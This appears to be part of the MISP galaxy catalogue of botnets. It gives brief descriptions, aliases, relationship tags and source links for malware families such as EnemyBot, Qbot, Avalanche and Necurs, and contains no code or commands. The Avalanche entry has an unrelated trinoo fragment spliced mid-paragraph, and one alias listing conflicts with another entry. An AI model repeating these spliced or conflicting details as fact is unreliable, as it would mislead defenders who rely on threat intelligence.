The tag is: *misp-galaxy:botnet="EnemyBot"*

View relationships graph

EnemyBot has relationships with:

- similar: misp-galaxy:malpedia="EnemyBot" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Gafgyt" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Qbot" with estimative-language:likelihood-probability="likely"

Table 770. Table References

Links
https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory/
https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot
https://www.fortinet.com/blog/threat-research/enemybot-a-look-into-keksecs-latest-ddos-botnet
https://cybersecurity.att.com/blogs/labs-research/rapidly-evolving-iot-malware-enemybot-now-targeting-content-management-system-servers

Qbot

Discovered in 2008 and under constant development, with gaps in operational use in the wild; operators are occasionally known as GOLD LAGOON. Banking Trojan, steals financial data, browser information/hooks, keystrokes, credentials; described by CheckPoint as a “Swiss Army knife”. Known to leverage many other tools; for example, PowerShell and Mimikatz are used for self-propagation. Attempts obfuscation via legitimate process injection. Known to serve as a dropper for ProLock ransomware. Infection vectors are common, with malspam as the most frequent. Active in 2020 – two big campaigns, one from March to June, second Starting in July and ongoing, as part of latest Emotet campaign. Newer version appeared in August.

The tag is: *misp-galaxy:botnet="Qbot"*

Qbot is also known as:

- QakBot
- Pinkslipbot

View relationships graph

Qbot has relationships with:

- dropped: misp-galaxy:ransomware="ProLock" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:ransomware="BlackBasta" with estimative-language:likelihood-probability="likely"

Table 771. Table References

Links
https://www.cisa.gov/sites/default/files/publications/202010221030_QakBot%20TLPWHITE.pdf
https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html
https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/

Dark.IoT

This malware is characterized by alternative DNS connections and connects to several *.lib domains using custom DNS servers.

The tag is: *misp-galaxy:botnet="Dark.IoT"*

View relationships graph

Dark.IoT has relationships with:

- variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"

Table 772. Table References

Links
https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/

KmsdBot

Akamai Security Research has observed a new golang malware which they named KmsdBot. The malware scans for open SSH ports and performs a simple dictionary attack against it. The researchers from Akamai monitored only DDoS activity, but discovered also the functionality to launch cryptomining. The malware has varied targets including the gaming industry, technology industry, and luxury car manufacturers.

The tag is: *misp-galaxy:botnet="KmsdBot"*

Table 773. Table References

Links
https://www.akamai.com/blog/security-research/kmdsbot-the-attack-and-mine-malware

HinataBot

Akamai researchers on the Security Intelligence Response Team (SIRT) have discovered a new Go-based, DDoS-focused botnet. The malware appears to have been named “Hinata” by the malware author after a character from the popular anime series, Naruto. We are calling it “HinataBot.” Looks like an attempt to rewrite Mirai in Go. The threat actors behind HinataBot originally distributed Mirai binaries.

The tag is: *misp-galaxy:botnet="HinataBot"*

View relationships graph

HinataBot has relationships with:

- similar: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"

Table 774. Table References

Links
https://www.akamai.com/blog/security-research/hinatabot-uncovering-new-golang-ddos-botnet
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hinata_bot

3ve

3ve, pronounced as “Eve”, was a botnet that was halted in late 2018. 3ve utilized the malware packages Boaxxe and Kovter to infect a network of PCs. They were spread through emails and fake downloads, and once infected, the bots would generate fake clicks on online advertisements. The clicks would be used on fake websites, which hosted ads and then absorbed the ad revenue from the false impressions. Bots were able to mimic desktop and mobile traffic in order to evade detection, and went through several evolutions of tactics to grow over time. At its peak, the botnet controlled more than one million residential and corporate IP-addresses, largely within Europe and North America.

The tag is: *misp-galaxy:botnet="3ve"*

Table 775. Table References

Links
https://en.wikipedia.org/wiki/3ve

7777-Botnet

7777-Botnet has been observed brute forcing Microsoft Azure instances via Microsoft Azure PowerShell bruteforcing. The botnet has a unique pattern of opening port 7777 on infected devices, returning an “xlogin:” message. The botnet has been used for low-volume attacks against targets of all industry sectors at a global scale, almost exclusively targeting C-Level employee logins. Due to the very low volume of around 2–3 login requests per week, the botnet is able to evade most security solutions.

The tag is: *misp-galaxy:botnet="7777-Botnet"*

Table 776. Table References

Links
https://gi7w0rm.medium.com/the-curious-case-of-the-7777-botnet-86e3464c3ffd

Amadey

Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called tasks) for all or specifically targeted computers compromised by the malware.

The tag is: *misp-galaxy:botnet="Amadey"*

Table 777. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

AndroidBauts

AndroidBauts botnet is a network of infected Android devices that are used for promoting advertisements to users online. At one point, the number of infected devices was more than 550,000. The creators of the AndroidBauts botnet are able to gather data regarding the compromised devices - both software and hardware.

The tag is: *misp-galaxy:botnet="AndroidBauts"*

Table 778. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/Steckbriefe/Bauts/AndroidBauts.html

Andromeda

Andromeda botnet, also known as Gamarue or Wauchos, was first introduced to the public in 2011. During this time it was used to distribute large quantities of malware. According to Microsoft the Andromeda botnet was used to spread more than 80 malware families including ransomware, worms, and more. Andromeda is a modular malware, meaning additional components can be purchased to provide extra functionality.

The tag is: *misp-galaxy:botnet="Andromeda"*

Andromeda is also known as:

- Gamarue
- Wauchos

Table 779. Table References

Links
https://blogs.blackberry.com/en/2020/05/threat-spotlight-andromeda
https://en.wikipedia.org/wiki/Andromeda_(trojan)

ArrkiiSDK

ArrkiiSDK is potentially unwanted application (PUA) for Android devices. Its functions include unauthorised user tracking, ad fraud and the silent installation of additional applications without the user's permission. ArrkiiSDK relies on the user actively installing an infected application, which is normally hidden within another software package that appears completely harmless.

The tag is: *misp-galaxy:botnet="ArrkiiSDK"*

Table 780. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html

Avalanche

Avalanche refers to a large global network hosting infrastructure used by cyber criminals to conduct phishing and malware distribution campaigns and money mule schemes. is a set of computer programs to conduct a DDoS attack. It is believed that trinoo networks have been set up on thousands of systems on the Internet that have been compromised by remote buffer overrun exploits. Cyber criminals utilized Avalanche botnet infrastructure to host and distribute a variety of malware variants to victims, including the targeting of over 40 major financial institutions. Victims may have had their sensitive personal information stolen (e.g., user account credentials). Victims' compromised systems may also have been used to conduct other malicious activity, such as launching denial-of-service (DoS) attacks or distributing malware variants to other victims' computers. In addition, Avalanche infrastructure was used to run money mule schemes where criminals recruited people to commit fraud involving transporting and laundering stolen money or merchandise. Avalanche used fast-flux DNS, a technique to hide the criminal servers, behind a constantly changing network of compromised systems acting as proxies.

The tag is: *misp-galaxy:botnet="Avalanche"*

Table 781. Table References

Links

https://www.cisa.gov/news-events/alerts/2016/12/01/avalanche-crimeware-service-infrastructure

Bayrob

Bayrob evolved from a backdoor trojan used for fraud into a cryptocurrency miner. Symantec discovered multiple versions of Bayrob malware, and witnessed Bayrob as it morphed from online fraud to a 300,000+ botnet for cryptocurrency mining.

The tag is: *misp-galaxy:botnet="Bayrob"*

Table 782. Table References

Links
https://www.bleepingcomputer.com/news/security/bayrob-malware-gang-had-elite-tactics-but-they-still-got-caught-anyway/
https://community.broadcom.com/symantecenterprise/viewdocument/bayrob-three-suspects-extradited-t?CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments

Bedep

Bedep has been mostly observed in ad-fraud campaigns, although it can also generally load modules for different tasks. It was dropped by the Angler Exploit Kit.

The tag is: *misp-galaxy:botnet="Bedep"*

Table 783. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep

Bolek

Bolek is a malware from the Kbot/Carberp family. It is being subject to frequent updates and has malicious capabilities which include self-spreading through USB and network shares, TOR network access, screen captures and web injects, and uses asymmetric cryptography to secure network communications.

The tag is: *misp-galaxy:botnet="Bolek"*

View relationships graph

Bolek has relationships with:

- similar: misp-galaxy:botnet="KBOT" with estimative-language:likelihood-probability="likely"

Table 784. Table References

Links

https://www.bitsight.com/blog/bolek-an-evolving-botnet-targets-poland-and-ukraine

Carna

The Carna botnet was a botnet of 420,000 devices created by an anonymous hacker to measure the extent of the Internet. The data was collected by infiltrating Internet devices, especially routers, that used a default password or no password at all.

The tag is: *misp-galaxy:botnet="Carna"*

Table 785. Table References

Links
https://en.wikipedia.org/wiki/Carna_botnet

Code Shikara

Code Shikara is a computer worm, related to the Dorkbot family, that attacks through social engineering and capable of spying on users' browsing activities, meanwhile stealing their personal online/offline information and/or credentials.

The tag is: *misp-galaxy:botnet="Code Shikara"*

Table 786. Table References

Links
https://en.wikipedia.org/wiki/Code_Shikara

Condi

DDoS-as-a-service botnet calling itself Condi. This malware employs several techniques to keep itself running in an infected system. At the same time, it also prevents infections from other botnets by attempting to terminate their processes. Typical to Mirai-based botnets, this malware cannot survive a system reboot.

The tag is: *misp-galaxy:botnet="Condi"*

Table 787. Table References

Links
https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389

Cooee

Cooee is a trojan pre-installed on some Phillips smartphones that displays annoying advertisements and downloads and installs different software without user knowledge.

The tag is: *misp-galaxy:botnet="Cooee"*

Table 788. Table References

Links
https://news.softpedia.com/news/trojan-found-preinstalled-on-the-firmware-of-some-phillips-s307-android-smartphones-499177.shtml

Coreflood

Coreflood is a trojan horse and botnet created by a group of Russian hackers and released in 2010. The FBI included on its list of infected systems approximately 17 state or local government agencies, including one police department; three airports; two defense contractors; five banks or financial institutions; approximately 30 colleges or universities; approximately 20 hospital or health care companies; and hundreds of businesses. It is present on more than 2.3 million computers worldwide and as of May 2011 remains a threat.

The tag is: *misp-galaxy:botnet="Coreflood"*

Table 789. Table References

Links
https://en.wikipedia.org/wiki/Coreflood

Crackonosh

In 2021 Crackonosh has been found in 222,000 compromised computers that were used to download illegal, torrented versions of popular video games. Crackonosh successfully operated for years because it had built-in mechanisms to disable security software and updates, which made it difficult for users to detect and remove the program. The malware is thought to have originated in the Czech Republic, but it had a global reach.

The tag is: *misp-galaxy:botnet="Crackonosh"*

Table 790. Table References

Links
https://finance.yahoo.com/news/monero-mining-malware-crackonosh-infected-192448133.html

FluBot

FluBot is a remote control and info stealer malware. It has abilities to read and send SMS message, delete app, and execute arbitrary commands. It is often distributed through SMS messages. PRODAFT describes FluBot as a banking malware which originally targeted Spain. Since the first quarter of 2021 it has been targeting many other European countries as well as Japan. It uses a DGA for it's C&C and relies on both DNS and DNS-over-HTTPS for name resolution. Despite arrests of multiple people suspected of involvement with this malware in March of 2021, the campaign has only intensified since.

The tag is: *misp-galaxy:botnet="FluBot"*

FluBot is also known as:

- Cabassous
- FakeChat

Table 791. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot

FritzFrog

FritzFrog is a decentralized botnet that uses P2P protocols to distribute control over all of its nodes, thereby avoiding having one controller or single point of failure.

The tag is: *misp-galaxy:botnet="FritzFrog"*

Table 792. Table References

Links
https://en.wikipedia.org/wiki/FritzFrog

Gootkit

Gootkit is a trojan that steals confidential information and allows criminals to take control of infected systems remotely. Gootkit can also be used to install additional malware, such as Emotet. This botnet is a type of malware bot that may perform many malicious tasks, such as downloading and executing additional malware, receiving commands from a control server and relaying specific information and telemetry back to the control server, updating or deleting itself, stealing login and password information, logging keystrokes, participating in a Distributed Denial of Service (DDoS) attack, or locking and encrypting the contents of your computer and demanding payment for its safe return.

The tag is: *misp-galaxy:botnet="Gootkit"*

Table 793. Table References

Links
https://www.fortiguard.com/encyclopedia/botnet/7630462

Great Cannon

The Great Cannon of China is an Internet attack tool that is used by the Chinese government to launch distributed denial-of-service attacks on websites by performing a man-in-the-middle attack on large amounts of web traffic and injecting code which causes the end-user's web browsers to flood traffic to targeted websites.[1] According to the researchers at the Citizen Lab, the

International Computer Science Institute, and Princeton University's Center for Information Technology Policy, who coined the term, the Great Cannon hijacks foreign web traffic intended for Chinese websites and re-purposes them to flood targeted web servers with enormous amounts of traffic in an attempt to disrupt their operations.

The tag is: *misp-galaxy:botnet="Great Cannon"*

Table 794. Table References

Links
https://en.wikipedia.org/wiki/Great_Cannon

Hail Mary Cloud

The Hail Mary Cloud was, or is, a password guessing botnet, which used a statistical equivalent to brute force password guessing. The botnet ran from possibly as early as 2005, and certainly from 2007 until 2012 and possibly later. The botnet was named and documented by Peter N. M. Hansteen. The principle is that a botnet can try several thousands of more likely passwords against thousands of hosts, rather than millions of passwords against one host. Since the attacks were widely distributed, the frequency on a given server was low and was unlikely to trigger alarms. Moreover, the attacks come from different members of the botnet, thus decreasing the effectiveness of both IP based detection and blocking.

The tag is: *misp-galaxy:botnet="Hail Mary Cloud"*

Table 795. Table References

Links
https://en.wikipedia.org/wiki/Hail_Mary_Cloud

Joker

Joker is a trojan that is included in several unsuspecting apps that have been offered via the Google Play Store, among others. The malware silently interacts with ad networks to perform clicks on ad banners and subscribe to paid premium services. To do this, Joker is able to read SMS messages, contact lists and device information from the victim system. It collects data from infected systems, intercepts sensitive communications and transmits the information to a remote attacker.

The tag is: *misp-galaxy:botnet="Joker"*

Table 796. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/Steckbriefe/Joker/Joker.html

KBOT

KBOT penetrates users' computers via the Internet or a local network, or from infected external media. After the infected file is launched, the malware gains a foothold in the system, writing itself to Startup and the Task Scheduler, and then deploys web injects to try to steal the victim's bank and personal data. For the same purpose, KBOT can download additional stealer modules that harvest and send to the C&C server almost full information about the user: passwords/logins, cryptowallet data, lists of files and installed applications, and so on.

The tag is: *misp-galaxy:botnet="KBOT"*

Table 797. Table References

Links
https://securelist.com/kbot-sometimes-they-come-back/96157/
https://cofense.com/blog/bolek-leaked-carberp-kbot-source-code-complicit-new-phishing-campaigns/

Linux.Darlloz

Linux.Darlloz is a worm which infects Linux embedded systems. Linux.Darlloz was first discovered by Symantec in 2013.[3] Linux.Darlloz targets the Internet of things and infects routers, security cameras, set-top boxes by exploiting a PHP vulnerability. The worm was based on a Proof of concept code that was released in October 2013. inux.Darlloz utilizes vulnerability (CVE-2012-1823) to exploit systems in order to compromise systems. Linux.Darlloz was later found in March 2014 to have started mining crypto currencies such as Mincoin and Dogecoin. Linux.Aidra, the malware that Linux.Darlloz attempts usurp - like some of the variants of Darlloz, Linux.Aidra targets smaller devices, specifically cable and DSL modems. The worm adds them to a botnet, which can be utilized by the attackers to perform DDoS attacks.

The tag is: *misp-galaxy:botnet="Linux.Darlloz"*

Table 798. Table References

Links
https://en.wikipedia.org/wiki/Linux.Darlloz
https://www.wired.com/2014/01/spime-watch-linux-darlloz-internet-things-worm/

Marcher

Marcher is a banking trojan for Android devices. Researchers at Dutch security firm Securify have conducted a detailed analysis of the Android banking Trojan known as Marcher and discovered that a single botnet has managed to steal a significant number of payment cards. Securify has identified nine Marcher botnets over the last 6 months, and each of them has been provided with new modules and targeted web injects by the Trojan's creators.

The tag is: *misp-galaxy:botnet="Marcher"*

Table 799. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html
https://www.securityweek.com/thousands-android-devices-infected-marcher-trojan/

Matsnu

Matsnu is a malware downloader. The malware downloaded may include the banking trojans Citadel and URLZone/Bebloh. Matsnu can also be expanded with additional functions using plug-ins. One of these plug-ins is designed to capture access data for e-mail accounts and FTP programs and pass this information to the operator of the malware.

The tag is: *misp-galaxy:botnet="Matsnu"*

Table 800. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html
https://threatpost.com/matsnu-botnet-dga-discovers-power-of-words/109426/

Methbot

Methbot was an advertising fraud scheme. Methbot was first tracked in 2015 by cybersecurity firm White Ops, and the botnet saw rapidly increased activity in 2016. The botnet originated in Russia (though it was not state sponsored), and utilized foreign computers and networks in Europe and North America. The infrastructure consisted of 571,904 dedicated IPs, 6,000 domains, and 250,267 distinct URLs, each of which could only house a video ad, and used variants of the names of famous publishers to fool those looking into the domains. This led the operators to game the system, leading ad selection algorithms to select these fake web pages over larger corporate pages from legitimate companies, and charge advertisers at a premium. About 570,000 bots were used to execute clicks on those websites, “watching” up to 300 million video ads a day while the bots mimicked normal computer user behavior. Estimated clicks per day generally reached between 200 and 300 million per day. The botnet relied on data servers instead of more traditional botnets that rely on infected PCs and mobile devices.

The tag is: *misp-galaxy:botnet="Methbot"*

Table 801. Table References

Links
https://en.wikipedia.org/wiki/Methbot

Metulji

The Metulji botnet, discovered in June 2011, is a botnet mainly involved in cyberscamming and denial of service attacks. Before the botnet itself was dismantled, it consisted of over 12 million individual zombie computers infected with the Butterfly Bot, making it, as of June 2011, the largest known botnet. It is not known what type of computers are vulnerable, or how to tell if a computer is a part of this botnet.

The tag is: *misp-galaxy:botnet="Metulji"*

Table 802. Table References

Links
https://en.wikipedia.org/wiki/Metulji_botnet

Mevade

The Mevade Botnet, also known as Sefnit or SBC, is a massive botnet. Its operators are unknown and its motives seems to be multi-purpose. In late 2013 the Tor anonymity network saw a very sudden and significant increase in users, from 800,000 daily to more than 5,000,000. A botnet was suspected and fingers pointed at Mevade. Trend Micro reported that its Smart Protection Network saw a tor module being distributed to Mevade Trojans.

The tag is: *misp-galaxy:botnet="Mevade"*

Mevade is also known as:

- Sefnit
- SBC

Table 803. Table References

Links
https://en.wikipedia.org/wiki/Mevade_Botnet

MobiDash

MobiDash is a piece of adware for Android devices. The user is shown advertisements without their consent. Mobidash can also make calls in the background.

The tag is: *misp-galaxy:botnet="MobiDash"*

Table 804. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html

Mutabaha

Mutabaha is a Trojan for Windows devices. Outfire, a Chromium-based browser, is downloaded and installed. This pretends to be the version of the Google Chrome browser. Mutabaha is able to drain data and manipulate advertisements. Mutabaha is downloaded and installed by another malware. As a rule, this dropper is removed after the malware has been installed, making it almost impossible to trace the infection.

The tag is: *misp-galaxy:botnet="Mutabaha"*

Table 805. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html

MyDoom

MyDoom is a malicious program that opens a backdoor to the infected device. Through this backdoor the attacker can gain access to the system and carry out further actions. The attack possibilities are diverse and range from information theft to the reloading of additional malware. MyDoom adds infected computers to a botnet and then carries out distributed denial of service (DDoS) attacks. When the worm takes control over the victim's OS, it then opens various ports and provides a backdoor to invite even more malware in.

The tag is: *misp-galaxy:botnet="MyDoom"*

Table 806. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html
https://nordvpn.com/blog/mydoom-virus/

Necurs

The Necurs botnet is a distributor of many pieces of malware, most notably Locky. Around June 1, 2016, the botnet went offline, perhaps due to a glitch in the command and control server running Necurs. However, three weeks later, Jon French from AppRiver discovered a spike in spam emails, signifying either a temporary spike in the botnet's activity or return to its normal pre-June 1 state. In a 2020 report, it was noted to have particularly targeted India, Southeast Asia, Turkey and Mexico.

The tag is: *misp-galaxy:botnet="Necurs"*

Table 807. Table References

Links
https://en.wikipedia.org/wiki/Necurs_botnet

Nitol

The Nitol botnet mostly involved in spreading malware and distributed denial-of-service attacks. The Nitol Botnet was first discovered around December 2012, with analysis of the botnet indicating that the botnet is mostly prevalent in China where an estimate 85% of the infections are detected. In China the botnet was found to be present on systems that came brand-new from the factory, indicating the trojan was installed somewhere during the assembly and manufacturing process. According to Microsoft the systems at risk also contained a counterfeit installation of Microsoft Windows. On 10 September 2012 Microsoft took action against the Nitol Botnet by obtaining a court order and subsequently sinkholing the 3322.org domain. The 3322.org domain is a Dynamic DNS which was used by the botnet creators as a command and control infrastructure for controlling their botnet. Microsoft later settled with 3322.org operator Pen Yong, which allowed the latter to continue operating the domain on the condition that any subdomains linked to malware remain sinkholed.

The tag is: *misp-galaxy:botnet="Nitol"*

Table 808. Table References

Links
https://en.wikipedia.org/wiki/Nitol_botnet

Nymaim

Nymaim was discovered in 2013. At that time it was only a dropper used to distribute TorrentLocker. In February 2016 it became popular again after incorporating leaked ISFB code, dubbed Goznym. When dropper obtains C&C address, it starts real communication. It downloads two important binaries and a lot more: payload – banker module (responsible for web injects – passive member of botnet); optional bot module (it is trying to open ports on a router and become an active part of a botnet. When it fails to do so, it removes itself from a system).

The tag is: *misp-galaxy:botnet="Nymaim"*

Table 809. Table References

Links
https://cert.pl/en/posts/2017/01/nymaim-revisited/

PBot

PBot is a P2P botnet derived from the Mirai source code. PBot performs MITB (man-in-the-browser) attacks and injects various scripts into legitimate websites. Its capabilities may go beyond simple injections of ads, depending on the intentions of its distributors.

The tag is: *misp-galaxy:botnet="PBot"*

PBot is also known as:

- PythonBot

Table 810. Table References

Links
https://www.malwarebytes.com/blog/news/2018/04/pbot-python-based-adware
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pbot
https://www.bitdefender.com/blog/businessinsights/ddos-attacks-increase-28-as-pbot-authors-use-decades-old-php-code/

Pirrit

Pirrit is a potentially unwanted application (PUA) for Windows and MacOS devices. It displays additional pop-ups and advertisements when the device is used. Pirrit downloads other malicious programs from a server and runs these programs; it can also manipulate system files.

The tag is: *misp-galaxy:botnet="Pirrit"*

Table 811. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html

Pitou

Pitou is a trojan for Windows devices. Its functions are to steal passwords and collect various pieces of information about the mobile phone, such as its location and contacts.

The tag is: *misp-galaxy:botnet="Pitou"*

Table 812. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html

Prometei

Prometei is a cryptocurrency-mining botnet. Despite their activities being visible in logs, some botnets successfully fly under detection teams' radar, possibly due to their small size or constant development on the adversary’s part. Prometei is just one of these types of networks that focuses on

Monero mining.

The tag is: *misp-galaxy:botnet="Prometei"*

Table 813. Table References

Links
https://blog.talosintelligence.com/prometei-botnet-and-its-quest-for-monero/

PrizeRAT

PrizeRAT is a trojan for Android devices. Its functions include unauthorised user tracking, stealing passwords and the silent installation of additional applications without the user's permission. As the malware is part of the firmware of the device, it is not generally recognised by anti-virus solutions for Android. The risk affects a limited group of mobile end devices made by Chinese manufacturers for the low-price segment.

The tag is: *misp-galaxy:botnet="PrizeRAT"*

Table 814. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html

Pushlran

Pushlran is a potentially unwanted application (PUA) for Android devices. It displays additional pop-ups and advertisements when the device is used. The app collects data from infected systems, intercepts sensitive communication and passes this information to a remote attacker.

The tag is: *misp-galaxy:botnet="Pushlran"*

Table 815. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html

Pykspa

Pykspa is a piece of malware that can be used to remotely control infected systems. It also enables attackers to download other malware or extract personal data. There are a number of versions of this malware and it has been developed over a long period of time. Some of the most recent versions of Pykspa are able to deactivate security systems such as anti-virus programs.

The tag is: *misp-galaxy:botnet="Pykspa"*

Table 816. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html

Qsnatch

Qsnatch is a trojan for Linux devices that primarily attacks network drives manufactured by QNAP. Its functions include stealing access data and opening backdoors to infected devices. Through this backdoor, the attacker can gain access to the system and perform other actions. The malware is capable of a wide range of attack types, from information theft to downloading other malware.

The tag is: *misp-galaxy:botnet="Qsnatch"*

Table 817. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html

Remaiten

Remaiten is malware which infects Linux on embedded systems by brute forcing using frequently used default username and passwords combinations from a list in order to infect a system. Remaiten combines the features of the Tsunami and LizardStresser (aka Torlus) malware families. The command and control for Remaiten are handled by IRC communications. Additionally the command and control is done by an actual IRC channel rather than only the IRC protocol. This is an improvement over bots such as Tsunami and Torlus making Remaiten a greater threat than both combined. To avoid detection, Remaiten tries to determine the platform of a device to download the architecture-appropriate component from the command & control server. Once Remaiten infects a device it is able to perform actions such as launching distributed denial of service attacks or download more malware on a device.[5] Remaiten is able to scan and remove competing bots on a system compromised by it.

The tag is: *misp-galaxy:botnet="Remaiten"*

Table 818. Table References

Links
https://en.wikipedia.org/wiki/Remaiten

Retadup

Retadup is a worm affecting Windows machines primarily throughout Latin America. Its objective is to achieve persistence on its victims' computers, to spread itself far and wide and to install additional malware payloads on infected machines. In the vast majority of cases, the installed payload is a piece of malware mining cryptocurrency on the malware authors' behalf. The French law enforcement agency, National Gendarmerie, in 2019 announced the successful takedown of one of the largest wide-spread RETADUP botnet malware and how it remotely disinfected more than 850,000 computers worldwide with the help of researchers.

The tag is: *misp-galaxy:botnet="Retadup"*

Table 819. Table References

Links
https://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/
https://thehackernews.com/2019/08/retadup-botnet-malware.html

RootSTV

RootSTV is a trojan and downloader for Android devices, mainly SmartTVs. RootSTV downloads additional malicious programs from a server and executes them without the user's consent.

The tag is: *misp-galaxy:botnet="RootSTV"*

Table 820. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze_node.html

Rovnix

Rovnix is a data-stealing trojan that spreads by email and infects Windows PCs. Initial versions of the malware featured the extraction of data from compromised machines using unencrypted comms but more recently this has evolved to feature encryption during broadcast. The malware spread via e-mails infected with the Andromeda downloader. The infected attachment gets executed by an unwary user and this in turn downloads and runs Rovnix. The whole attack is designed to steal financial information, mainly credit card numbers. A new cluster of infections by the Rovnix Trojan has infected more than 130,000 Windows computers in the UK alone.

The tag is: *misp-galaxy:botnet="Rovnix"*

Table 821. Table References

Links

https://www.theregister.com/2014/11/06/rovnix_trojan_outbreak/

Slenfbot

Slenfbot was first discovered in 2007 and, since then, numerous variants have followed; each with slightly different characteristics and new additions to the worm's payload, such as the ability to provide the attacker with unauthorized access to the compromised host. Slenfbot primarily spreads by luring users to follow links to websites, which contain a malicious payload. Slenfbot propagates via instant messaging applications, removable drives and/or the local network via network shares. The code for Slenfbot appears to be closely managed, which may provide attribution to a single group and/or indicate that a large portion of the code is shared amongst multiple groups. The inclusion of other malware families and variants as well as its own continuous evolution, makes Slenfbot a highly effective downloader with a propensity to cause even more damage to compromised systems.

The tag is: *misp-galaxy:botnet="Slenfbot"*

Table 822. Table References

Links
https://en.wikipedia.org/wiki/Slenfbot

Stacheldraht

Stacheldraht is malware which performs a distributed denial-of-service (DDoS) attack. Stacheldraht uses a number of different denial-of-service (DoS) attack methods, including Ping flood, UDP flood, TCP SYN flood, and Smurf attack. Further, it can detect and automatically enable source address forgery. Adding encryption, it combines features of Trinoo and of Tribe Flood Network. The software runs on both Linux and Solaris.

The tag is: *misp-galaxy:botnet="Stacheldraht"*

Table 823. Table References

Links
https://en.wikipedia.org/wiki/Stacheldraht

Suppobox

Suppobox is a trojan that intercepts any network traffic connected with a monetary transaction when users buy or sell products online. The malware focuses on auction websites.

The tag is: *misp-galaxy:botnet="Suppobox"*

Suppobox is also known as:

- Bayrob
- Nivdort

Table 824. Table References

Links
https://www.bsi.bund.de/EN/Themen/Verbraucherinnen-und-Verbraucher/Cyber-Sicherheitslage/Methoden-der-Cyber-Kriminalitaet/Botnetze/Steckbriefe-aktueller-Botnetze/steckbriefe-aktueller-botnetze.html

Triada

